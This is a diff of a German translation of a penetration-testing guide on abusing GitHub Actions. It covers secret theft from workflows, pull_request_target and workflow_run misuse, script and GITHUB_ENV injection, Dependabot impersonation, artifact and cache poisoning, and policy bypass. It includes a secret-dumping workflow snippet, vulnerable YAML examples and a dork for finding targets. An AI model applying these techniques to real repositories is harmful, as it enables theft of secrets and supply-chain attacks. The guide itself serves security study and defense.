Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act

src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

@@ -1,40 +1,40 @@
-# Missbrauch von Github Actions
+# Abusing Github Actions
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Tools
+## Werkzeuge
 
-Die folgenden Tools sind nützlich, um Github Action workflows zu finden und sogar verwundbare zu identifizieren:
+Die folgenden Tools sind nützlich, um Github Action workflows zu finden und sogar verwundbare zu entdecken:
 
 - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
 - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
 - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
 - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
-- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Schau dir auch dessen Checklist an in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
+- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Schau dir auch seine Checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) an
 
 ## Grundlegende Informationen
 
 Auf dieser Seite findest du:
 
-- Eine **Zusammenfassung aller Auswirkungen**, falls ein Angreifer Zugriff auf eine Github Action erlangt
-- Verschiedene Wege, **Zugriff auf eine Action zu erhalten**:
-- Über **Berechtigungen**, um die Action zu erstellen
+- Eine **Zusammenfassung aller Auswirkungen**, wenn ein Angreifer es schafft, auf eine Github Action zuzugreifen
+- Verschiedene Wege, um **Zugriff auf eine Action** zu erhalten:
+- Besitz von **Berechtigungen** zum Erstellen der Action
 - Missbrauch von **pull request**-bezogenen Triggern
 - Missbrauch **anderer externer Zugriffstechniken**
-- **Pivoting** von einem bereits kompromittierten Repo
-- Schließlich ein Abschnitt über **post-exploitation techniques to abuse an action from inside** (um die genannten Auswirkungen zu verursachen)
+- **Pivoting** von einem bereits kompromittierten repo
+- Schließlich ein Abschnitt über **post-exploitation techniques**, um eine Action von innen heraus zu missbrauchen (um die genannten Auswirkungen zu verursachen)
 
 ## Zusammenfassung der Auswirkungen
 
-Für eine Einführung zu [**Github Actions siehe die Grundinformationen**](../basic-github-information.md#github-actions).
+Für eine Einführung zu [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
 
-Wenn du **beliebigen Code in GitHub Actions** innerhalb eines **repository** ausführen kannst, könntest du:
+Wenn du **beliebigen Code in GitHub Actions** innerhalb eines **repository** ausführen kannst, könntest du möglicherweise:
 
-- **Secrets stehlen**, die an die pipeline gemountet sind, und **die Privilegien der pipeline missbrauchen**, um unautorisierten Zugriff auf externe Plattformen wie AWS und GCP zu erlangen.
-- **Deployments kompromittieren** und andere **artifacts**.
-- Wenn die pipeline Assets deployt oder speichert, könntest du das Endprodukt verändern und damit einen Supply-Chain-Angriff ermöglichen.
-- **Code in custom workers ausführen**, um Rechenleistung zu missbrauchen und auf andere Systeme zu pivoten.
-- **Repository code überschreiben**, abhängig von den mit dem `GITHUB_TOKEN` verbundenen Berechtigungen.
+- **Geheimnisse stehlen**, die an die Pipeline gemountet sind, und **die Berechtigungen der Pipeline missbrauchen**, um unautorisierten Zugriff auf externe Plattformen wie AWS und GCP zu erlangen.
+- **Deployments kompromittieren** und andere **Artefakte**.
+- Wenn die Pipeline Assets deployt oder speichert, könntest du das Endprodukt verändern und damit einen Supply-Chain-Angriff ermöglichen.
+- **Code in custom workers ausführen**, um Rechenleistung zu missbrauchen und zu anderen Systemen zu pivoten.
+- **Repository-Code überschreiben**, abhängig von den Berechtigungen, die mit dem `GITHUB_TOKEN` verbunden sind.
 
 ## GITHUB_TOKEN
 
@@ -42,15 +42,15 @@ Dieses "**secret**" (aus `${{ secrets.GITHUB_TOKEN }}` und `${{ github.token }}`
 
 <figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
 
-Dieses Token ist dasselbe, das eine **Github Application** verwenden würde, daher kann es dieselben Endpunkte erreichen: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+Dieser Token ist derselbe, den eine **Github Application will use**, daher kann er dieselben Endpunkte aufrufen: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
 
 > [!WARNING]
-> Github sollte einen [**flow**](https://github.com/github/roadmap/issues/74) veröffentlichen, der **cross-repository** Zugriff innerhalb von GitHub erlaubt, sodass ein Repo auf andere interne Repos mit dem `GITHUB_TOKEN` zugreifen kann.
+> Github sollte einen [**flow**](https://github.com/github/roadmap/issues/74) veröffentlichen, der **cross-repository** Zugriff innerhalb von GitHub ermöglicht, sodass ein repo mit dem `GITHUB_TOKEN` auf andere interne Repos zugreifen kann.
 
-Die möglichen **Berechtigungen** dieses Tokens findest du unter: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
+Die möglichen **Berechtigungen** dieses Tokens kannst du hier einsehen: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
 
 Beachte, dass das Token **nach Abschluss des Jobs abläuft**.\
-Diese Tokens sehen so aus: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
+Solche Tokens sehen so aus: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
 
 Einige interessante Dinge, die du mit diesem Token tun kannst:
 
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
 {{#endtabs }}
 
 > [!CAUTION]
-> Beachte, dass du in mehreren Fällen **github user tokens inside Github Actions envs or in the secrets** finden kannst. Diese Tokens können dir erweiterte Berechtigungen für das Repository und die Organization geben.
+> Beachte, dass du in mehreren Fällen **github user tokens inside Github Actions envs or in the secrets** finden kannst. Diese Tokens können dir erweiterte Rechte für das Repository und die Organisation verschaffen.
 
 <details>
 
-<summary>Secrets in Github Action output auflisten</summary>
+<summary>Secrets im Github Action-Output auflisten</summary>
 ```yaml
 name: list_env
 on:
@@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-Es ist möglich, die Berechtigungen eines Github Token in Repositories anderer Nutzer zu prüfen, indem man **die Logs der Actions überprüft**:
+Es ist möglich, die einem Github Token gewährten Berechtigungen in Repositories anderer Benutzer zu prüfen, indem man die Logs der Github actions überprüft:
 
 <figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
 
-## Erlaubte Ausführung
+## Zulässige Ausführung
 
 > [!NOTE]
-> Dies wäre der einfachste Weg, Github actions zu kompromittieren, da dieser Fall voraussetzt, dass du die Möglichkeit hast, **ein neues Repo in der organization zu erstellen**, oder **Schreibrechte an einem Repository** hast.
+> Dies wäre der einfachste Weg, Github actions zu kompromittieren, da dieser Fall voraussetzt, dass du Zugriff darauf hast, **ein neues Repo in der Organisation zu erstellen**, oder **Schreibrechte an einem Repository** zu besitzen.
 >
-> Wenn du dich in diesem Szenario befindest, kannst du einfach die [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) prüfen.
+> Wenn du dich in diesem Szenario befindest, kannst du einfach die [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) überprüfen.
 
 ### Ausführung durch Repo-Erstellung
 
-Falls Mitglieder einer Organization **create new repos** können und du github actions ausführen kannst, kannst du **ein neues Repo erstellen und die auf organization level gesetzten secrets stehlen**.
+Falls Mitglieder einer Organisation **neue repos erstellen können** und du Github actions ausführen kannst, kannst du **ein neues Repo erstellen und die auf Organisationsebene gesetzten secrets stehlen**.
 
 ### Ausführung über einen neuen Branch
 
-Wenn du **einen neuen Branch in einem Repository erstellen kannst, das bereits eine konfigurierte Github Action enthält**, kannst du diese **modifizieren**, den Inhalt **hochladen**, und dann **die Action aus dem neuen Branch ausführen**. Auf diese Weise kannst du **exfiltrate repository and organization level secrets** (aber du musst wissen, wie sie genannt werden).
+Wenn du **einen neuen Branch in einem Repository erstellen kannst, das bereits eine konfigurierte Github Action enthält**, kannst du diese **modifizieren**, den Inhalt **hochladen**, und dann **diese Action vom neuen Branch aus ausführen**. Auf diese Weise kannst du **repository- und organisationsweite secrets exfiltrieren** (du musst aber wissen, wie sie heißen).
 
 > [!WARNING]
-> Jede Einschränkung, die nur innerhalb der workflow YAML implementiert ist (zum Beispiel, `on: push: branches: [main]`, job conditionals oder manuelle Gates), kann von Collaborators bearbeitet werden. Ohne externe Durchsetzung (branch protections, protected environments und protected tags) kann ein Contributor einen Workflow so umleiten, dass er auf dessen Branch läuft und gemountete secrets/permissions missbraucht werden.
+> Jede Einschränkung, die nur innerhalb der workflow YAML implementiert ist (zum Beispiel, `on: push: branches: [main]`, job conditionals, oder manuelle Gates) kann von Mitwirkenden bearbeitet werden. Ohne externe Durchsetzung (branch protections, protected environments, and protected tags) kann ein Contributor einen Workflow umleiten, damit er auf ihrem Branch läuft, und die gemounteten secrets/permissions missbrauchen.
 
-Du kannst die modifizierte Action ausführbar machen **manuell,** wenn eine **PR erstellt wird** oder wenn **etwas Code gepusht wird** (je nachdem, wie auffällig du sein willst):
+Du kannst die modifizierte Action ausführbar machen **manuell,** wenn ein **PR erstellt** wird oder wenn **Code gepusht** wird (je nachdem, wie auffällig du sein willst):
 ```yaml
 on:
 workflow_dispatch: # Launch manually
@@ -180,43 +180,43 @@ branches:
 ```
 ---
 
-## Forked-Ausführung
+## Ausführung in Forks
 
 > [!NOTE]
-> Es gibt verschiedene Trigger, die einem Angreifer erlauben könnten, eine **Github Action eines anderen Repositories auszuführen**. Wenn diese triggerbaren Actions schlecht konfiguriert sind, könnte ein Angreifer in der Lage sein, sie zu kompromittieren.
+> Es gibt verschiedene Trigger, mit denen ein Angreifer eine **Github Action eines anderen Repositories ausführen** könnte. Wenn diese triggerbaren Actions schlecht konfiguriert sind, könnte ein Angreifer sie kompromittieren.
 
 ### `pull_request`
 
-Der Workflow-Trigger **`pull_request`** führt den Workflow jedes Mal aus, wenn ein Pull Request eingeht, mit einigen Ausnahmen: standardmäßig, wenn es das **erste Mal** ist, dass du **mitwirkst**, muss ein **Maintainer** die **Ausführung** des Workflows **freigeben**:
+Der Workflow-Trigger **`pull_request`** führt den Workflow jedes Mal aus, wenn ein Pull Request eingeht, mit einigen Ausnahmen: standardmäßig, wenn es das **erste Mal** ist, dass du **mitwirkst**, muss ein(e) **maintainer** den **run** des Workflows **freigeben**:
 
 <figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
 
 > [!NOTE]
-> Da die **Standard-Beschränkung** für **Erstbeitragende** gilt, könntest du zunächst **einen validen Bug/Typo beheben** und dann **weitere PRs senden, um deine neuen `pull_request`-Privilegien zu missbrauchen**.
+> Da die **default limitation** für **first-time** contributors gilt, könntest du zuerst zur **Behebung eines gültigen Bugs/Typos** beitragen und dann **weitere PRs senden, um deine neuen `pull_request`-Privilegien zu missbrauchen**.
 >
-> **Ich habe das getestet und es funktioniert nicht**: ~~Eine andere Option wäre, ein Konto mit dem Namen von jemandem zu erstellen, der zum Projekt beigetragen hat, und sein Konto zu löschen.~~
+> **I tested this and it doesn't work**: ~~Eine andere Option wäre, ein Konto mit dem Namen einer Person zu erstellen, die zum Projekt beigetragen hat, und dessen Account zu löschen.~~
 
-Außerdem verhindert es standardmäßig **write permissions** und den **Zugriff auf Secrets** im Ziel-Repository, wie in den [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) erwähnt:
+Außerdem verhindert es standardmäßig **Schreibberechtigungen** und **secrets access** auf das Ziel-Repository, wie in den [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) erwähnt:
 
-> Mit Ausnahme von `GITHUB_TOKEN` werden **Secrets nicht an den Runner übergeben**, wenn ein Workflow aus einem **forked** Repository ausgelöst wird. Das **`GITHUB_TOKEN` hat nur Lesezugriff** in Pull Requests **aus forked Repositories**.
+> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
 
-Ein Angreifer könnte die Definition der Github Action ändern, um beliebige Dinge auszuführen und beliebige Actions anzuhängen. Allerdings kann er wegen der erwähnten Beschränkungen keine Secrets stehlen oder das Repo überschreiben.
+Ein Angreifer könnte die Definition der Github Action ändern, um beliebige Dinge auszuführen und beliebige Actions anzuhängen. Allerdings wird er aufgrund der genannten Einschränkungen nicht in der Lage sein, secrets zu stehlen oder das Repo zu überschreiben.
 
 > [!CAUTION]
-> **Ja, wenn der Angreifer in dem PR die Github Action ändert, die ausgelöst wird, wird seine Github Action verwendet und nicht die aus dem origin repo!**
+> **Ja: wenn der Angreifer in der PR die github action ändert, die ausgelöst wird, wird seine Github Action verwendet und nicht die aus dem origin repo!**
 
-Da der Angreifer auch den auszuführenden Code kontrolliert, könnte er selbst ohne Secrets oder Schreibrechte auf das `GITHUB_TOKEN` zum Beispiel **bösartige Artefakte hochladen**.
+Da der Angreifer auch den auszuführenden Code kontrolliert, könnte er selbst ohne secrets oder Schreibrechte für den `GITHUB_TOKEN` z. B. **bösartige Artifakte hochladen**.
 
 ### **`pull_request_target`**
 
-Der Workflow-Trigger **`pull_request_target`** hat **write permission** für das Ziel-Repository und **Zugriff auf Secrets** (und fragt nicht nach einer Genehmigung).
+Der Workflow-Trigger **`pull_request_target`** hat **write permission** im Ziel-Repository und **access to secrets** (und fragt nicht um Erlaubnis).
 
-Beachte, dass der Workflow-Trigger **`pull_request_target`** im Base-Kontext ausgeführt wird und nicht in dem vom PR bereitgestellten Kontext (um **nicht vertrauenswürdigen Code auszuführen**). Für mehr Infos zu `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
-Außerdem, für mehr Infos zu diesem speziellen gefährlichen Einsatz, siehe [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+Beachte, dass der Workflow-Trigger **`pull_request_target`** **im base context läuft** und nicht im Kontext des PR (um **nicht untrusted code auszuführen**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
 
-Es könnte so aussehen, dass es sicher ist, **`pull_request_target`** zu verwenden, weil der **ausgeführte Workflow** der ist, der im **base** definiert ist und **nicht im PR**, aber es gibt einige Fälle, in denen das **nicht** zutrifft.
+Es mag so aussehen, weil der **ausgeführte Workflow** der ist, der im **base** definiert ist und **nicht im PR**, dass die Verwendung von **`pull_request_target`** **sicher** ist, aber es gibt einige Fälle, in denen dies nicht zutrifft.
 
-Und dieser wird **Zugriff auf Secrets** haben.
+Und dieser hat **access to secrets**.
 
 ### `workflow_run`
 
@@ -230,26 +230,26 @@ workflows: [Run Tests]
 types:
 - completed
 ```
-Außerdem, laut der Dokumentation: Der durch das `workflow_run`-Event gestartete workflow kann **access secrets and write tokens, even if the previous workflow was not**.
+Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
 
-This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`  
+This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
 The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
 
 ### `workflow_call`
 
 TODO
 
-TODO: Prüfen, ob beim Ausführen aus einem pull_request der verwendete/heruntergeladene Code aus dem Origin-Repo oder aus dem geforkten PR stammt
+TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
 
-## Missbrauch von Forked Execution
+## Abusing Forked Execution
 
-Wir haben alle Wege erwähnt, wie ein externer Angreifer einen github workflow zur Ausführung bringen könnte. Schauen wir uns nun an, wie diese Ausführungen, wenn sie schlecht konfiguriert sind, missbraucht werden könnten:
+Wir haben alle Wege erwähnt, mit denen ein externer Angreifer einen GitHub Workflow zur Ausführung bringen könnte. Schauen wir uns jetzt an, wie diese Ausführungen, wenn falsch konfiguriert, missbraucht werden können:
 
 ### Untrusted checkout execution
 
-Im Fall von **`pull_request`** wird der workflow im **Kontext des PR** ausgeführt (er führt also den **malicious PRs code** aus), aber jemand muss ihn zuerst **autorize** und er läuft mit einigen [Einschränkungen](#pull_request).
+Im Fall von **`pull_request`** wird der Workflow im **Kontext des PR** ausgeführt (er führt also den **malicious PRs code** aus), aber jemand muss ihn **zuerst authorisieren** und er läuft mit einigen [Einschränkungen](#pull_request).
 
-Im Fall eines workflows, der **`pull_request_target` or `workflow_run`** verwendet und von einem workflow abhängt, der durch **`pull_request_target` oder `pull_request`** ausgelöst werden kann, wird der Code aus dem Original-Repo ausgeführt, sodass der **attacker cannot control the executed code**.
+Im Fall eines Workflows, der **`pull_request_target` or `workflow_run`** verwendet und von einem Workflow abhängt, der durch **`pull_request_target` or `pull_request`** ausgelöst werden kann, wird der Code aus dem Original-Repo ausgeführt, sodass der **attacker cannot control the executed code**.
 
 > [!CAUTION]
 > However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
@@ -282,14 +282,14 @@ message: |
 Thank you!
 </code></pre>
 
-Der potenziell **untrusted code is being run during `npm install` or `npm build`**, da die Build-Skripte und referenzierten **packages are controlled by the author of the PR**.
+Der potenziell **untrusted code is being run during `npm install` or `npm build`** da die Build-Skripte und referenzierten **packages are controlled by the author of the PR**.
 
 > [!WARNING]
 > A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
 
 ### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
 
-Beachte, dass es bestimmte [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) gibt, deren Werte vom **user** erzeugenden PR **controlled** werden. Wenn die github action diese **data to execute anything** verwendet, könnte das zu **arbitrary code execution** führen:
+Beachte, dass es bestimmte [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) gibt, deren Werte vom **user** erstelltem PR **kontrolliert** werden. Wenn die github action diese **data to execute anything** verwendet, kann das zu **arbitrary code execution** führen:
 
 {{#ref}}
 gh-actions-context-script-injections.md
@@ -297,17 +297,17 @@ gh-actions-context-script-injections.md
 
 ### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
 
-Laut der Dokumentation: Du kannst eine **environment variable für alle nachfolgenden Schritte** in einem workflow job verfügbar machen, indem du die Environment-Variable definierst oder aktualisierst und dies in die **`GITHUB_ENV`** environment file schreibst.
+From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
 
-Wenn ein Angreifer beliebige Werte in diese **env**-Variable **inject** könnte, könnte er Umgebungsvariablen einschleusen, die in nachfolgenden Schritten Code ausführen, z. B. **LD_PRELOAD** oder **NODE_OPTIONS**.
+Wenn ein Angreifer beliebige Werte in diese **env**-Variable injizieren könnte, könnte er Umgebungsvariablen setzen, die in folgenden Steps Code ausführen, wie z. B. **LD_PRELOAD** oder **NODE_OPTIONS**.
 
-Zum Beispiel (siehe [**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) und [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stell dir einen workflow vor, der einem hochgeladenen artifact vertraut und dessen Inhalt in die **`GITHUB_ENV`** env variable schreibt. Ein Angreifer könnte etwas wie das Folgende hochladen, um es zu kompromittieren:
+For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
 
 <figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
 
 ### Dependabot and other trusted bots
 
-Wie in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest) angegeben, haben mehrere Organisationen eine Github Action, die jeden PR von `dependabot[bot]` merged, wie in:
+As indicated in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), several organizations have a Github Action that merges any PRR from `dependabot[bot]` like in:
 ```yaml
 on: pull_request_target
 jobs:
@@ -317,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: gh pr merge $ -d -m
 ```
-Das ist ein Problem, weil das Feld `github.actor` den Benutzer enthält, der das letzte Ereignis verursacht hat, das den Workflow ausgelöst hat. Es gibt mehrere Wege, den Benutzer `dependabot[bot]` dazu zu bringen, einen PR zu verändern. Zum Beispiel:
+Was ein Problem ist, weil das Feld `github.actor` den Benutzer enthält, der das zuletzt das Workflow auslösende Ereignis verursacht hat. Und es gibt mehrere Wege, den Benutzer `dependabot[bot]` dazu zu bringen, einen PR zu verändern. Zum Beispiel:
 
-- Forke das Repository des Opfers
-- Füge die bösartige Payload zu deiner Kopie hinzu
-- Aktiviere Dependabot in deinem Fork, indem du eine veraltete Dependency hinzufügst. Dependabot erstellt einen Branch, der die Dependency behebt — mit bösartigem Code.
-- Öffne von diesem Branch einen Pull Request zum Repository des Opfers (der PR wird vom Benutzer erstellt, daher passiert vorerst nichts)
-- Dann geht der Angreifer zurück zum initialen PR, den Dependabot in seinem Fork geöffnet hat, und führt `@dependabot recreate` aus
-- Danach führt Dependabot einige Aktionen in diesem Branch aus, die den PR im Repository des Opfers ändern, wodurch `dependabot[bot]` zum Actor des letzten Ereignisses wird, das den Workflow auslöste (und damit der Workflow ausgeführt wird).
+- Das Repository des Opfers forken
+- Die bösartige Payload in deine Kopie einfügen
+- Dependabot in deinem Fork aktivieren, indem du eine veraltete Abhängigkeit hinzufügst. Dependabot erstellt einen Branch, der die Abhängigkeit behebt und bösartigen Code enthält.
+- Einen Pull Request zum Repository des Opfers von diesem Branch öffnen (der PR wird vom Benutzer erstellt, also passiert noch nichts)
+- Dann geht der Angreifer zurück zu dem initialen PR, den Dependabot in seinem Fork geöffnet hat, und führt `@dependabot recreate` aus
+- Dann führt Dependabot einige Aktionen in diesem Branch aus, die den PR im Repository des Opfers verändern, wodurch `dependabot[bot]` der Akteur des zuletzt das Workflow auslösenden Ereignisses wird (und daher das Workflow ausgeführt wird).
 
-Weiterhin: was wäre, wenn statt des Mergings die Github Action eine command injection hätte, wie in:
+Weiter: Was wäre, wenn statt zu mergen die Github Action eine command injection wie in:
 ```yaml
 on: pull_request_target
 jobs:
@@ -336,7 +336,7 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: echo ${ { github.event.pull_request.head.ref }}
 ```
-Nun, der ursprüngliche Blogpost schlägt zwei Optionen vor, dieses Verhalten auszunutzen — die zweite ist:
+Im ursprünglichen Blogpost werden zwei Optionen vorgeschlagen, dieses Verhalten auszunutzen; die zweite lautet:
 
 - Fork the victim repository and enable Dependabot with some outdated dependency.
 - Create a new branch with the malicious shell injeciton code.
@@ -345,13 +345,13 @@ Nun, der ursprüngliche Blogpost schlägt zwei Optionen vor, dieses Verhalten au
 - Run `@dependabot merge` in the PR Dependabot opened in his fork.
 - Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the `dependabot[bot]` the actor of the latest event that triggered the workflow and using a malicious branch name.
 
-### Verwundbare Third Party Github Actions
+### Verwundbare Drittanbieter-Github Actions
 
 #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
 
-Wie in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) erwähnt, erlaubt diese Github Action den Zugriff auf artifacts aus verschiedenen Workflows und sogar Repositories.
+Wie in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) erwähnt, erlaubt diese Github Action den Zugriff auf artifacts aus verschiedenen workflows und sogar repositories.
 
-Das Problem ist, dass wenn der **`path`**-Parameter nicht gesetzt ist, das artifact im aktuellen Verzeichnis entpackt wird und Dateien überschreiben kann, die später im Workflow verwendet oder sogar ausgeführt werden. Daher könnte ein Angreifer, falls das Artifact verwundbar ist, dies ausnutzen, um andere Workflows zu kompromittieren, die dem Artifact vertrauen.
+Das Problem ist, dass wenn der **`path`**-Parameter nicht gesetzt ist, das artifact im aktuellen Verzeichnis extrahiert wird und Dateien überschreiben kann, die später im workflow verwendet oder sogar ausgeführt werden. Daher könnte ein Angreifer, wenn das Artifact verwundbar ist, dies ausnutzen, um andere workflows, die dem Artifact vertrauen, zu kompromittieren.
 
 Example of vulnerable workflow:
 ```yaml
@@ -393,27 +393,27 @@ path: ./script.py
 ```
 ---
 
-## Weitere externe Zugriffe
+## Andere externe Zugriffe
 
 ### Deleted Namespace Repo Hijacking
 
-Wenn ein Account seinen Namen ändert, kann ein anderer Nutzer nach einiger Zeit ein Konto mit diesem Namen registrieren. Wenn ein Repository vor der Namensänderung **weniger als 100 stars** hatte, erlaubt Github dem neu registrierten Nutzer mit demselben Namen, ein **repository with the same name** wie das gelöschte zu erstellen.
+Wenn ein Account seinen Namen ändert, könnte ein anderer Benutzer nach einiger Zeit ein Konto mit diesem Namen registrieren. Wenn ein repository zuvor **weniger als 100 stars** hatte, erlaubt Github dem neu registrierten Benutzer mit demselben Namen, ein **repository mit dem gleichen Namen** wie das gelöschte zu erstellen.
 
 > [!CAUTION]
-> Wenn also eine Action ein Repo von einem nicht existierenden Account verwendet, ist es trotzdem möglich, dass ein Angreifer dieses Konto erstellt und die Action compromise.
+> Wenn eine action ein repo aus einem nicht existierenden Account verwendet, ist es weiterhin möglich, dass ein Angreifer dieses Account erstellt und die action kompromittiert.
 
-Wenn andere Repositories **dependencies from this user repos** verwendeten, kann ein Angreifer sie hijacken. Hier findest du eine ausführlichere Erklärung: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+Wenn andere repositories **dependencies from this user repos** verwendeten, kann ein Angreifer diese hijacken. Hier findest du eine ausführlichere Erklärung: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
 
 ---
 
 ## Repo Pivoting
 
 > [!NOTE]
-> In diesem Abschnitt sprechen wir über Techniken, die es erlauben würden, **pivot from one repo to another**, vorausgesetzt wir haben irgendeinen Zugang zum ersten (siehe vorheriger Abschnitt).
+> In diesem Abschnitt sprechen wir über Techniken, die es ermöglichen würden, **pivot from one repo to another**, vorausgesetzt wir haben irgendeine Art von Zugang zum ersten Repo (siehe vorherigen Abschnitt).
 
 ### Cache Poisoning
 
-Ein Cache wird zwischen **workflow runs in the same branch** gehalten. Das bedeutet, dass wenn ein Angreifer ein **compromise** eines **package** erreicht, das dann im Cache gespeichert wird und von einem **more privileged** workflow **downloaded** und ausgeführt wird, er auch diesen workflow **compromise** kann.
+Ein cache wird zwischen **workflow runs in the same branch** gepflegt. Das bedeutet, dass wenn ein Angreifer ein **package** kompromittiert, das dann im cache gespeichert wird und von einem **more privileged** workflow **downloaded** und ausgeführt wird, er auch diesen workflow **compromise** kann.
 
 {{#ref}}
 gh-actions-cache-poisoning.md
@@ -421,7 +421,7 @@ gh-actions-cache-poisoning.md
 
 ### Artifact Poisoning
 
-Workflows können **artifacts from other workflows and even repos** nutzen. Wenn ein Angreifer es schafft, die Github Action zu **compromise**, die ein **uploads an artifact**, das später von einem anderen workflow verwendet wird, könnte er damit **compromise the other workflows**:
+Workflows können **artifacts from other workflows and even repos** verwenden. Wenn ein Angreifer es schafft, die Github Action zu kompromittieren, die ein **artifact** hochlädt, das später von einem anderen workflow verwendet wird, könnte er auch die anderen workflows kompromittieren:
 
 {{#ref}}
 gh-actions-artifact-poisoning.md
@@ -429,11 +429,11 @@ gh-actions-artifact-poisoning.md
 
 ---
 
-## Post-Exploitation von einer Action
+## Post Exploitation from an Action
 
 ### Github Action Policies Bypass
 
-Wie in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) erwähnt: Selbst wenn ein Repository oder eine Organization eine Policy hat, die die Nutzung bestimmter Actions einschränkt, könnte ein Angreifer einfach eine Action innerhalb des workflow herunterladen (`git clone`) und sie dann als lokale Action referenzieren. Da die Policies lokale Pfade nicht betreffen, **die Action wird ohne Einschränkungen ausgeführt.**
